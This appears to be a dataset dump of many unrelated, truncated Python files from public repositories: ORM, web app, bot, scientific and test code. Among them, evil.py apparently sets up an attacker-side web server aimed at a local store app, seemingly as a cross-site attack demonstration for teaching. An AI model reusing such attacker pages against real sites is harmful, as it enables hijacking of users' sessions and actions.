b7c5bfa62a5872369c9d9a90100345866eb2b1b7 | 293,023 | py | Python | pony/orm/core.py | antlarr-suse/pony | f75afc222a9e49821752ca10fbca589234b56c31 | [
"Apache-2.0"
] | null | null | null | pony/orm/core.py | antlarr-suse/pony | f75afc222a9e49821752ca10fbca589234b56c31 | [
"Apache-2.0"
] | null | null | null | pony/orm/core.py | antlarr-suse/pony | f75afc222a9e49821752ca10fbca589234b56c31 | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import, print_function, division
from pony.py23compat import PY2, izip, imap, iteritems, itervalues, items_list, values_list, xrange, cmp, \
basestring, unicode, buffer, int_types, builtins, with_metaclass
import json, re, sys, types, datetime, logging, itert... | 47.599578 | 167 | 0.606485 |
8a46493a938e0618ecff299c0ec1ffec1afbe029 | 3,586 | py | Python | hubspot/crm/deals/models/batch_input_simple_public_object_batch_input.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 117 | 2020-04-06T08:22:53.000Z | 2022-03-18T03:41:29.000Z | hubspot/crm/deals/models/batch_input_simple_public_object_batch_input.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 62 | 2020-04-06T16:21:06.000Z | 2022-03-17T16:50:44.000Z | hubspot/crm/deals/models/batch_input_simple_public_object_batch_input.py | Ronfer/hubspot-api-python | 1c87274ecbba4aa3c7728f890ccc6e77b2b6d2e4 | [
"Apache-2.0"
] | 45 | 2020-04-06T16:13:52.000Z | 2022-03-30T21:33:17.000Z | # coding: utf-8
"""
Deals
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: v3
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from hubspot... | 32.306306 | 139 | 0.639431 |
0899c56fcd78917a82681bf56f5fb1875b043b6d | 177 | py | Python | examples/iterator.py | calind/zipa | d2f3572454456aafe952a911b4881f4862b3730c | [
"Apache-2.0"
] | null | null | null | examples/iterator.py | calind/zipa | d2f3572454456aafe952a911b4881f4862b3730c | [
"Apache-2.0"
] | null | null | null | examples/iterator.py | calind/zipa | d2f3572454456aafe952a911b4881f4862b3730c | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# vim: ft=python:sw=4:ts=4:sts=4:et:
from zipa import api_github_com as github
repos = github.orgs.django.repos
for repo in repos:
print repo.name
| 19.666667 | 41 | 0.689266 |
eac17946bd39b43439cf1781e5b516f51b25a3b4 | 179 | py | Python | src/aiohttp_micro/core/entities.py | clayman083/aiohttp-micro | 0d183f11a03beb0a51357eb4ad6134ce01e347a4 | [
"MIT"
] | 1 | 2019-11-04T12:15:39.000Z | 2019-11-04T12:15:39.000Z | src/aiohttp_micro/core/entities.py | clayman74/aiohttp-micro | 0d183f11a03beb0a51357eb4ad6134ce01e347a4 | [
"MIT"
] | null | null | null | src/aiohttp_micro/core/entities.py | clayman74/aiohttp-micro | 0d183f11a03beb0a51357eb4ad6134ce01e347a4 | [
"MIT"
] | 1 | 2021-11-16T15:24:44.000Z | 2021-11-16T15:24:44.000Z | from dataclasses import dataclass
@dataclass
class Entity:
key: int
@dataclass
class Payload:
pass
@dataclass
class Filters:
limit: int = 10
offset: int = 0
| 9.944444 | 33 | 0.681564 |
d4dafa990fc14a5251e375aadfdd5ad69d1d1ccd | 8,604 | py | Python | main.py | bguedj/COLT-2020 | 7ee74b79fe1db8118438fb780a9e4babd8ec6590 | [
"MIT"
] | null | null | null | main.py | bguedj/COLT-2020 | 7ee74b79fe1db8118438fb780a9e4babd8ec6590 | [
"MIT"
] | null | null | null | main.py | bguedj/COLT-2020 | 7ee74b79fe1db8118438fb780a9e4babd8ec6590 | [
"MIT"
] | null | null | null | # pylint: disable=global-statement,redefined-outer-name
import argparse
import csv
import glob
import json
import os
import yaml
from flask import Flask, jsonify, redirect, render_template, send_from_directory
from flask_frozen import Freezer
from flaskext.markdown import Markdown
site_data = {}
by_uid = {}
def mai... | 25.231672 | 87 | 0.58159 |
cac6929c90be117d23719a23bd6105734a9217b0 | 3,162 | py | Python | ClassesPage.py | Hua777/NSYSUSelcrs | b36dc9dd7329c6d20f23d666facaa8e6e5251c63 | [
"MIT"
] | null | null | null | ClassesPage.py | Hua777/NSYSUSelcrs | b36dc9dd7329c6d20f23d666facaa8e6e5251c63 | [
"MIT"
] | null | null | null | ClassesPage.py | Hua777/NSYSUSelcrs | b36dc9dd7329c6d20f23d666facaa8e6e5251c63 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
__author__ = "Hua777"
__copyright__ = "Copyright 2018, Hua777"
__version__ = "2.0"
__email__ = "liao.700529@gmail.com"
import Req
import CC
from ClassDetail import ClassDetail
from bs4 import BeautifulSoup as BS
import re as RE
class ClassesPage(object):
def __init__(self):
self... | 27.495652 | 74 | 0.424415 |
759220bd982a405d443c509296e9167c676bede4 | 3,364 | py | Python | monty/exts/backend/global_checks.py | onerandomusername/monty-python | fcd8b2827eb9bbb2a05d28f80ac9e215589f03f7 | [
"MIT"
] | 20 | 2021-12-31T10:17:20.000Z | 2022-03-31T04:16:17.000Z | monty/exts/backend/global_checks.py | onerandomusername/monty-bot | b1c769e44b56bc45f37fc809064571d59c80db27 | [
"MIT"
] | 1 | 2022-03-13T22:34:33.000Z | 2022-03-13T22:34:52.000Z | monty/exts/backend/global_checks.py | onerandomusername/monty-bot | b1c769e44b56bc45f37fc809064571d59c80db27 | [
"MIT"
] | 3 | 2022-01-02T15:21:46.000Z | 2022-03-05T09:37:54.000Z | import disnake
from disnake.ext import commands
from monty.bot import Monty
from monty.errors import BotAccountRequired
from monty.log import get_logger
logger = get_logger(__name__)
class GlobalCheck(commands.Cog, slash_command_attrs={"dm_permission": False}):
"""Global checks for monty."""
def __init__(... | 35.410526 | 108 | 0.606124 |
7e42f9af9f63e394e19613df939fd6aa25a87b6b | 1,299 | py | Python | var/spack/repos/builtin/packages/py-pytz/package.py | adrianjhpc/spack | 0a9e4fcee57911f2db586aa50c8873d9cca8de92 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 2 | 2020-10-15T01:08:42.000Z | 2021-10-18T01:28:18.000Z | var/spack/repos/builtin/packages/py-pytz/package.py | adrianjhpc/spack | 0a9e4fcee57911f2db586aa50c8873d9cca8de92 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 2 | 2019-07-30T10:12:28.000Z | 2019-12-17T09:02:27.000Z | var/spack/repos/builtin/packages/py-pytz/package.py | adrianjhpc/spack | 0a9e4fcee57911f2db586aa50c8873d9cca8de92 | [
"ECL-2.0",
"Apache-2.0",
"MIT"
] | 5 | 2019-07-30T09:42:14.000Z | 2021-01-25T05:39:20.000Z | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PyPytz(PythonPackage):
"""World timezone definitions, modern and historical."""
homep... | 48.111111 | 98 | 0.786759 |
822cff52e3046b33fa723bd02cebf6aaf7058dbe | 3,541 | py | Python | src/streamlink/plugins/artetv.py | nxkbd/streamlink | 0ba7767c024a6d6086d570e342680dc40c05a57b | [
"BSD-2-Clause"
] | null | null | null | src/streamlink/plugins/artetv.py | nxkbd/streamlink | 0ba7767c024a6d6086d570e342680dc40c05a57b | [
"BSD-2-Clause"
] | null | null | null | src/streamlink/plugins/artetv.py | nxkbd/streamlink | 0ba7767c024a6d6086d570e342680dc40c05a57b | [
"BSD-2-Clause"
] | null | null | null | """Plugin for Arte.tv, bi-lingual art and culture channel."""
import re
from itertools import chain
from streamlink.compat import urlparse
from streamlink.plugin import Plugin
from streamlink.plugin.api import http, validate
from streamlink.stream import HDSStream, HLSStream, HTTPStream, RTMPStream
SWF_URL = "http:... | 31.336283 | 88 | 0.550409 |
c24295eb14ef47ae8937923ca9059186dfdebbc0 | 1,907 | py | Python | eval.py | sunshines14/ASV-baseline | c2b957189c33eba14003b8bfa88e3c459fb93697 | [
"MIT"
] | 1 | 2021-05-12T08:52:57.000Z | 2021-05-12T08:52:57.000Z | eval.py | sunshines14/ASV-baseline | c2b957189c33eba14003b8bfa88e3c459fb93697 | [
"MIT"
] | null | null | null | eval.py | sunshines14/ASV-baseline | c2b957189c33eba14003b8bfa88e3c459fb93697 | [
"MIT"
] | null | null | null | #!/usr/bin/python
#-*- coding: utf-8 -*-
# Copyright 2020 Sogang University Auditory Intelligence Laboratory (Author: Soonshin Seo)
#
# MIT License
import os
import numpy
import argparse
import pdb
import numpy as np
from scipy.optimize import brentq
from sklearn.metrics import roc_curve
from scipy.interpolate imp... | 31.262295 | 111 | 0.665443 |
4691d5f205b68fa319b783f97d704d43d5876dfa | 1,183 | py | Python | tests/unit/objects/test_creditcardpayment.py | bayusantoso/python-intuitquickbooks | a501fd86b6ba59f5a614f36951fa08bde0d2d24a | [
"MIT"
] | null | null | null | tests/unit/objects/test_creditcardpayment.py | bayusantoso/python-intuitquickbooks | a501fd86b6ba59f5a614f36951fa08bde0d2d24a | [
"MIT"
] | null | null | null | tests/unit/objects/test_creditcardpayment.py | bayusantoso/python-intuitquickbooks | a501fd86b6ba59f5a614f36951fa08bde0d2d24a | [
"MIT"
] | 1 | 2020-12-07T22:21:35.000Z | 2020-12-07T22:21:35.000Z | import unittest
from intuitquickbooks.objects.creditcardpayment import CreditCardPayment, CreditChargeResponse, CreditChargeInfo
class CreditCardPaymentTests(unittest.TestCase):
def test_init(self):
payment = CreditCardPayment()
self.assertEquals(payment.CreditChargeInfo, None)
self.asse... | 32.861111 | 112 | 0.716822 |
ec8915631d3f3d0aa061daeaf6b2a7750c7998f2 | 23,016 | py | Python | greykite/sklearn/estimator/base_silverkite_estimator.py | briancpark/greykite | 2f484978a7ed206ebd9356e02fc1fb881cd25205 | [
"BSD-2-Clause"
] | null | null | null | greykite/sklearn/estimator/base_silverkite_estimator.py | briancpark/greykite | 2f484978a7ed206ebd9356e02fc1fb881cd25205 | [
"BSD-2-Clause"
] | null | null | null | greykite/sklearn/estimator/base_silverkite_estimator.py | briancpark/greykite | 2f484978a7ed206ebd9356e02fc1fb881cd25205 | [
"BSD-2-Clause"
] | null | null | null | # BSD 2-CLAUSE LICENSE
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
# Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# Redistributions i... | 44.77821 | 144 | 0.660801 |
cc3eaf123918973b1b10dca34022c75b57aed02e | 5,598 | py | Python | scripts/gen_img.py | JosiahCraw/Tiva-Helicopter-Controller-ENCE464- | 207fda18bf8e4b562e47205fbbdc9aaaf274c54f | [
"MIT"
] | null | null | null | scripts/gen_img.py | JosiahCraw/Tiva-Helicopter-Controller-ENCE464- | 207fda18bf8e4b562e47205fbbdc9aaaf274c54f | [
"MIT"
] | null | null | null | scripts/gen_img.py | JosiahCraw/Tiva-Helicopter-Controller-ENCE464- | 207fda18bf8e4b562e47205fbbdc9aaaf274c54f | [
"MIT"
] | null | null | null | # -------------------------------
# Tiva Image/Animation Generator
# -------------------------------
#
# Generates image/animation header files for use
# with the Tiva TM4c123 and the OrbitBooster Pack
#
# Author: Jos Craw 2020
#
import cv2
import math
import argparse
import numpy as np
from typing import List
IMG_DE... | 27.307317 | 147 | 0.53662 |
fe49176bae624dde715bda98276b7a8454db086a | 5,489 | py | Python | 02_keras_mnist_clothing_reusing_model_with_new_image.py | lao-tseu-is-alive/tensorflow2-tutorial | 9896ebb94d3a2340d18f3f9222e7c7501f442052 | [
"Apache-2.0"
] | null | null | null | 02_keras_mnist_clothing_reusing_model_with_new_image.py | lao-tseu-is-alive/tensorflow2-tutorial | 9896ebb94d3a2340d18f3f9222e7c7501f442052 | [
"Apache-2.0"
] | null | null | null | 02_keras_mnist_clothing_reusing_model_with_new_image.py | lao-tseu-is-alive/tensorflow2-tutorial | 9896ebb94d3a2340d18f3f9222e7c7501f442052 | [
"Apache-2.0"
] | null | null | null | import glob
import os
import re
# next line is to limit tensorflow verbose output
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
import numpy as np
from tensorflow.keras.models import load_model
import matplotlib.pyplot as plt
CONST_MODEL_PATH = 'trained_models/tf2_model_mnist_fashion_2Dense128x10'... | 44.991803 | 121 | 0.651667 |
5d2763f172d75a2bd71360ec35ceb19f173c3a99 | 314,668 | py | Python | python/tskit/trees.py | molpopgen/tskit | cf38edb8ddfd87bac7baf0c7ecb6920a6e761b7a | [
"MIT"
] | 1 | 2021-08-20T06:59:30.000Z | 2021-08-20T06:59:30.000Z | python/tskit/trees.py | percyfal/tskit | cf38edb8ddfd87bac7baf0c7ecb6920a6e761b7a | [
"MIT"
] | null | null | null | python/tskit/trees.py | percyfal/tskit | cf38edb8ddfd87bac7baf0c7ecb6920a6e761b7a | [
"MIT"
] | null | null | null | #
# MIT License
#
# Copyright (c) 2018-2020 Tskit Developers
# Copyright (c) 2015-2018 University of Oxford
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including wi... | 43.087498 | 93 | 0.622987 |
0e8bc232328a495f44230c1b42b591a37ece2c7a | 54 | py | Python | openpathsampling/pathmovers/move_schemes.py | bolhuis/openpathsampling | 4a12af0ee1143cdbc272b10a8c7cbea735566ce1 | [
"MIT"
] | 64 | 2016-07-06T13:38:51.000Z | 2022-03-30T15:58:01.000Z | openpathsampling/pathmovers/move_schemes.py | bolhuis/openpathsampling | 4a12af0ee1143cdbc272b10a8c7cbea735566ce1 | [
"MIT"
] | 601 | 2016-06-13T10:22:01.000Z | 2022-03-25T00:10:40.000Z | openpathsampling/pathmovers/move_schemes.py | hejung/openpathsampling | e8b091c92916561954542d40d17d7241b203d1ad | [
"MIT"
] | 45 | 2016-11-10T11:17:53.000Z | 2022-02-13T11:50:26.000Z | from .spring_shooting import SpringShootingMoveScheme
| 27 | 53 | 0.907407 |
c70bf818563fc3b0721b90235086541a8e4a140f | 13,955 | py | Python | mrcnn/custom.py | SmritiBahuguna/MaskRCNN_SolarPanel | 35525bbc493842b110b47b49b04e1ffc2d82df43 | [
"Apache-2.0"
] | null | null | null | mrcnn/custom.py | SmritiBahuguna/MaskRCNN_SolarPanel | 35525bbc493842b110b47b49b04e1ffc2d82df43 | [
"Apache-2.0"
] | null | null | null | mrcnn/custom.py | SmritiBahuguna/MaskRCNN_SolarPanel | 35525bbc493842b110b47b49b04e1ffc2d82df43 | [
"Apache-2.0"
] | null | null | null | """
Mask R-CNN
Train on the toy Balloon dataset and implement color splash effect.
Copyright (c) 2018 Matterport, Inc.
Licensed under the MIT License (see LICENSE for details)
Written by Waleed Abdulla
------------------------------------------------------------
Usage: import the module (see Jupyter notebooks for ex... | 37.716216 | 105 | 0.590684 |
5e8750b47cb5461d825eb619e99f713cc79bd360 | 4,162 | py | Python | fake_news_classifier/Dashboard/r_news_scrapper.py | keshavgbpecdelhi/FakeNews | 8c1c3a4a83a19b96867111727c5a7df0f6416389 | [
"MIT"
] | 7 | 2020-06-16T17:38:46.000Z | 2022-02-19T12:33:34.000Z | fake_news_classifier/Dashboard/r_news_scrapper.py | keshavgbpecdelhi/FakeNews | 8c1c3a4a83a19b96867111727c5a7df0f6416389 | [
"MIT"
] | null | null | null | fake_news_classifier/Dashboard/r_news_scrapper.py | keshavgbpecdelhi/FakeNews | 8c1c3a4a83a19b96867111727c5a7df0f6416389 | [
"MIT"
] | 5 | 2020-05-08T17:30:46.000Z | 2022-03-26T07:28:04.000Z | from newspaper import Article
import pandas as pd
import numpy as np
import pickle
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
import joblib
from sklearn.model_selection import train_test_split
impo... | 33.837398 | 173 | 0.681643 |
9592e762e9d671c4fe1cbaa0b4c3478a87da94dc | 516 | py | Python | src/bxcommon/test_utils/mocks/mock_node_ssl_service.py | dolphinridercrypto/bxcommon | 8f70557c1dbff785a5dd3fcdf91176066e085c3a | [
"MIT"
] | 12 | 2019-11-06T17:39:10.000Z | 2022-03-01T11:26:19.000Z | src/bxcommon/test_utils/mocks/mock_node_ssl_service.py | dolphinridercrypto/bxcommon | 8f70557c1dbff785a5dd3fcdf91176066e085c3a | [
"MIT"
] | 8 | 2019-11-06T21:31:11.000Z | 2021-06-02T00:46:50.000Z | src/bxcommon/test_utils/mocks/mock_node_ssl_service.py | dolphinridercrypto/bxcommon | 8f70557c1dbff785a5dd3fcdf91176066e085c3a | [
"MIT"
] | 5 | 2019-11-14T18:08:11.000Z | 2022-02-08T09:36:22.000Z | from ssl import SSLContext
from cryptography.x509 import Certificate
from mock import MagicMock
from bxutils.services.node_ssl_service import NodeSSLService
from bxutils.ssl.ssl_certificate_type import SSLCertificateType
class MockNodeSSLService(NodeSSLService):
def blocking_load(self) -> None:
pass
... | 25.8 | 78 | 0.77907 |
71db5ace5696452218f17504d5acdfd123ea8688 | 388 | py | Python | Asang/Asang/wsgi.py | A-Sang/Supermarket | 4d90e6d728d483dd79fd71f3c4b42c3ca938e36e | [
"Apache-2.0"
] | null | null | null | Asang/Asang/wsgi.py | A-Sang/Supermarket | 4d90e6d728d483dd79fd71f3c4b42c3ca938e36e | [
"Apache-2.0"
] | null | null | null | Asang/Asang/wsgi.py | A-Sang/Supermarket | 4d90e6d728d483dd79fd71f3c4b42c3ca938e36e | [
"Apache-2.0"
] | null | null | null | """
WSGI config for Asang project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTIN... | 22.823529 | 78 | 0.783505 |
45536d06c4ba4cc016e0cd6579a16e5761ee88c7 | 28,404 | py | Python | test/functional/rpc_fundrawtransaction.py | DancingAxolotl/encocoinplus | b3dcc750c48a4f4e2ffebd104e5426544fe2f6b8 | [
"MIT"
] | 1 | 2020-04-07T10:09:00.000Z | 2020-04-07T10:09:00.000Z | test/functional/rpc_fundrawtransaction.py | DancingAxolotl/encocoinplus | b3dcc750c48a4f4e2ffebd104e5426544fe2f6b8 | [
"MIT"
] | 13 | 2020-05-08T11:14:37.000Z | 2020-05-12T10:03:53.000Z | test/functional/rpc_fundrawtransaction.py | DancingAxolotl/encocoinplus | b3dcc750c48a4f4e2ffebd104e5426544fe2f6b8 | [
"MIT"
] | 22 | 2020-02-10T09:17:20.000Z | 2020-07-10T10:33:26.000Z | #!/usr/bin/env python3
# Copyright (c) 2014-2016 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
def ge... | 42.712782 | 223 | 0.562315 |
f5ea4e6cb8675d94cfd4c6ca42e0d7e78759287e | 1,468 | py | Python | app/auth/forms.py | mikescor/login-service | de64f66c4d79435645f5022fbb39aefd72467622 | [
"MIT"
] | null | null | null | app/auth/forms.py | mikescor/login-service | de64f66c4d79435645f5022fbb39aefd72467622 | [
"MIT"
] | null | null | null | app/auth/forms.py | mikescor/login-service | de64f66c4d79435645f5022fbb39aefd72467622 | [
"MIT"
] | null | null | null | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField, \
TextAreaField
from wtforms.validators import DataRequired, ValidationError, Email, EqualTo, \
Length
from app.models import User
class LoginForm(FlaskForm):
username = StringField('Username', vali... | 37.641026 | 79 | 0.709128 |
6e18e52d007c7fe8365acf2062a7072ef9f711b5 | 10,090 | py | Python | airflow/utils/logging.py | beattymg/airflow | 859952cfbdeb45368c6a09d0be51d05302d2f0b6 | [
"MIT",
"BSD-3-Clause",
"BSD-2-Clause",
"Apache-2.0"
] | 6 | 2016-04-20T20:40:43.000Z | 2022-02-20T10:32:00.000Z | airflow/utils/logging.py | beattymg/airflow | 859952cfbdeb45368c6a09d0be51d05302d2f0b6 | [
"MIT",
"BSD-3-Clause",
"BSD-2-Clause",
"Apache-2.0"
] | 8 | 2017-09-07T22:20:35.000Z | 2021-05-14T17:35:27.000Z | airflow/utils/logging.py | beattymg/airflow | 859952cfbdeb45368c6a09d0be51d05302d2f0b6 | [
"MIT",
"BSD-3-Clause",
"BSD-2-Clause",
"Apache-2.0"
] | 8 | 2016-04-13T21:22:46.000Z | 2020-07-31T18:31:59.000Z | # -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
... | 36.035714 | 107 | 0.625273 |
116fa9b1d06eda895a6c64059bddfe9d1fa672f2 | 6,493 | py | Python | beta003_noNPI_vax_locom.py | onnela-lab/covid-campus | fe8b5e8c8882c079db426584a531eb00ef9b1709 | [
"BSD-3-Clause"
] | null | null | null | beta003_noNPI_vax_locom.py | onnela-lab/covid-campus | fe8b5e8c8882c079db426584a531eb00ef9b1709 | [
"BSD-3-Clause"
] | null | null | null | beta003_noNPI_vax_locom.py | onnela-lab/covid-campus | fe8b5e8c8882c079db426584a531eb00ef9b1709 | [
"BSD-3-Clause"
] | 1 | 2021-08-02T19:08:30.000Z | 2021-08-02T19:08:30.000Z | """
Author: Hali Hambridge
This code was run in parallel on a computing cluster using the following bash command:
python beta003_noNPI_vax_locom.py $SLURM_ARRAY_TASK_ID
Dependencies: pandas, networkx, numpy, matplotlib, itertools, time
-------------------
Parameter Settings
-------------------
Transmission probabil... | 43 | 195 | 0.684583 |
93a4ea1f8a22e49332e64ce64bfad03dd93e2f3a | 5,930 | py | Python | ensemble_COCO_kvasir.py | GorkemP/EndoCV2021-EfficientDet-Pytorch | 2ca3140d50a07e503850cad101deb0887eace9c7 | [
"MIT"
] | 4 | 2021-05-29T19:02:19.000Z | 2021-12-17T13:53:45.000Z | ensemble_COCO_kvasir.py | GorkemP/EndoCV2021-EfficientDet-Pytorch | 2ca3140d50a07e503850cad101deb0887eace9c7 | [
"MIT"
] | null | null | null | ensemble_COCO_kvasir.py | GorkemP/EndoCV2021-EfficientDet-Pytorch | 2ca3140d50a07e503850cad101deb0887eace9c7 | [
"MIT"
] | null | null | null | # Created by Gorkem Polat at 14.03.2021
# contact: polatgorkem@gmail.com
import glob
import os
import json
import shutil
from ensemble_boxes import *
import argparse
import time
# parser = argparse.ArgumentParser(description='EndoCV2021: inference on test set, by Ece Isik Polat')
# parser.add_argument("-it", "--iou_th... | 35.722892 | 116 | 0.63339 |
c559c89dabb3d7e0e5cf86989eece9dff6ef9022 | 6,116 | py | Python | testscripts/compatibility_cases.py | lotuski/leaves | bdf4ddb48520a487e2b1d9953b622260e0d2d414 | [
"MIT"
] | 334 | 2018-09-16T09:33:49.000Z | 2022-03-21T21:00:07.000Z | testscripts/compatibility_cases.py | lotuski/leaves | bdf4ddb48520a487e2b1d9953b622260e0d2d414 | [
"MIT"
] | 76 | 2018-09-15T17:38:40.000Z | 2022-03-31T14:23:44.000Z | testscripts/compatibility_cases.py | lotuski/leaves | bdf4ddb48520a487e2b1d9953b622260e0d2d414 | [
"MIT"
] | 62 | 2018-09-18T08:53:30.000Z | 2022-02-28T22:58:31.000Z | from string import Template
from compatibility_core import Case, LibraryType
LIGHTGBM_VERSIONS = [
'2.3.0',
'2.2.3',
'2.2.2',
'2.2.1',
'2.2.0',
'2.1.2',
'2.1.1',
'2.1.0',
'2.0.12',
'2.0.11',
'2.0.10',
]
XGBOOST_VERSIONS = [
'0.90',
'0.82',
'0.72.1',
]
class ... | 23.6139 | 96 | 0.676422 |
5f9b478da97564c1c1c93c3479c4db395b105610 | 3,373 | py | Python | evil.py | takatama/bottle-store | e77859fb55cf85aa337e422e32614f36758368cf | [
"MIT"
] | null | null | null | evil.py | takatama/bottle-store | e77859fb55cf85aa337e422e32614f36758368cf | [
"MIT"
] | null | null | null | evil.py | takatama/bottle-store | e77859fb55cf85aa337e422e32614f36758368cf | [
"MIT"
] | null | null | null | from threading import ExceptHookArgs
from bottle import route, run, template, request, redirect, hook
import sqlite3
from datetime import datetime
HOST='evil.localtest.me'
PORT=8081
TARGET_URL='http://localhost:8080'
EVIL_DATABASE_FILE = 'evil.db'
@route('/')
def index():
if request.headers['HOST'] == 'localhost... | 34.773196 | 218 | 0.632375 |
0ff01b929974cd7006efffccd07bcfde74b7f1db | 901 | py | Python | thefuck/rules/git_fix_stash.py | MJGrey/thefuck | c88b0792b8a2db3c181938af6c357662993a30c3 | [
"MIT"
] | 1 | 2018-07-06T04:10:56.000Z | 2018-07-06T04:10:56.000Z | thefuck/rules/git_fix_stash.py | MJGrey/thefuck | c88b0792b8a2db3c181938af6c357662993a30c3 | [
"MIT"
] | null | null | null | thefuck/rules/git_fix_stash.py | MJGrey/thefuck | c88b0792b8a2db3c181938af6c357662993a30c3 | [
"MIT"
] | 1 | 2018-07-06T04:11:05.000Z | 2018-07-06T04:11:05.000Z | from thefuck import utils
from thefuck.utils import replace_argument
from thefuck.specific.git import git_support
@git_support
def match(command):
if command.script_parts and len(command.script_parts) > 1:
return (command.script_parts[1] == 'stash'
and 'usage:' in command.stderr)
else:... | 23.710526 | 81 | 0.658158 |
4d83a9bc5c1e22eebdcd7711f99b520fa37df307 | 1,560 | py | Python | ZDT1.py | jonatanlv/nsga-ii | a664827df037ba69ff7c3ab737d00cfa03bcb76f | [
"MIT"
] | 1 | 2019-07-28T00:15:45.000Z | 2019-07-28T00:15:45.000Z | ZDT1.py | jonatanlv/nsga-ii | a664827df037ba69ff7c3ab737d00cfa03bcb76f | [
"MIT"
] | null | null | null | ZDT1.py | jonatanlv/nsga-ii | a664827df037ba69ff7c3ab737d00cfa03bcb76f | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Función Test ZDT1
"""
import Problem
import numpy as np
from Estadisticas import Estadisticas
def construir_problema(**kwargs):
def f1(X):
return X[0]
def g(X):
return 1 + 9*X[1:].sum()/(len(X) - 1)
def f2(X):
gX = g(X)
... | 28.363636 | 130 | 0.540385 |
70df2bf9799646fd1a3dcf35fe863acd41612795 | 3,270 | py | Python | backend/api/migrations/0004_auto_20210523_1306.py | Technocrats-nitw/Care | 8649e874340339b9ada089702343919fe557c26e | [
"CC0-1.0"
] | 1 | 2021-06-09T09:17:33.000Z | 2021-06-09T09:17:33.000Z | backend/api/migrations/0004_auto_20210523_1306.py | Technocrats-nitw/GoVID | 8649e874340339b9ada089702343919fe557c26e | [
"CC0-1.0"
] | null | null | null | backend/api/migrations/0004_auto_20210523_1306.py | Technocrats-nitw/GoVID | 8649e874340339b9ada089702343919fe557c26e | [
"CC0-1.0"
] | null | null | null | # Generated by Django 3.1.5 on 2021-05-23 07:36
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('api', '0003_auto_20210521_0134'),
]
operations = [
migrations.RemoveField(
model_name='doctors',
name='age',
... | 28.938053 | 66 | 0.51896 |
501f24af1d91586770828741b55ecf2151a349e7 | 475 | py | Python | LeetCode/Aug 2021 LeetCoding Challenge/Subsets II.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | 13 | 2021-09-02T07:30:02.000Z | 2022-03-22T19:32:03.000Z | LeetCode/Subsets II.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | null | null | null | LeetCode/Subsets II.py | UtkarshPathrabe/Competitive-Coding | ba322fbb1b88682d56a9b80bdd92a853f1caa84e | [
"MIT"
] | 3 | 2021-08-24T16:06:22.000Z | 2021-09-17T15:39:53.000Z | class Solution:
def subsetsWithDup(self, nums: List[int]) -> List[List[int]]:
nums.sort()
result, numsCapacity = set(), len(nums)
def backtrack(currentSubset, startIndex):
result.add(tuple(currentSubset))
for i in range(startIndex, numsCapacity):
curre... | 39.583333 | 65 | 0.574737 |
e6757ed7c655051e09e360e2dd0bdc8b417eda2a | 190 | py | Python | simdeblur/scheduler/__init__.py | ljzycmd/SimDeblur | dd2f60c41176b75c4eaf80d740f547c206aa8227 | [
"MIT"
] | 190 | 2021-03-22T13:59:42.000Z | 2022-03-08T21:14:41.000Z | simdeblur/scheduler/__init__.py | ljzycmd/SimDeblur | dd2f60c41176b75c4eaf80d740f547c206aa8227 | [
"MIT"
] | 9 | 2021-04-26T06:44:40.000Z | 2022-03-25T07:48:30.000Z | simdeblur/scheduler/__init__.py | ljzycmd/SimDeblur | dd2f60c41176b75c4eaf80d740f547c206aa8227 | [
"MIT"
] | 27 | 2021-03-23T03:11:00.000Z | 2022-03-19T21:26:02.000Z | from .optim import *
from .lr_scheduler import *
from .build import build_optimizer
from .build import build_lr_scheduler
__all__ = [k for k in globals().keys() if not k.startswith("_")]
| 21.111111 | 64 | 0.747368 |
7a1172868b52be4b3c31cf12a1b46b7e0290740b | 19,366 | py | Python | eval_calibration/calibration_lib.py | thuyduongtt/region_based_active_learning | b3653c31a44135b5680949790549799c83a5a18b | [
"MIT"
] | null | null | null | eval_calibration/calibration_lib.py | thuyduongtt/region_based_active_learning | b3653c31a44135b5680949790549799c83a5a18b | [
"MIT"
] | null | null | null | eval_calibration/calibration_lib.py | thuyduongtt/region_based_active_learning | b3653c31a44135b5680949790549799c83a5a18b | [
"MIT"
] | null | null | null | # coding=utf-8
# Copyright 2020 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
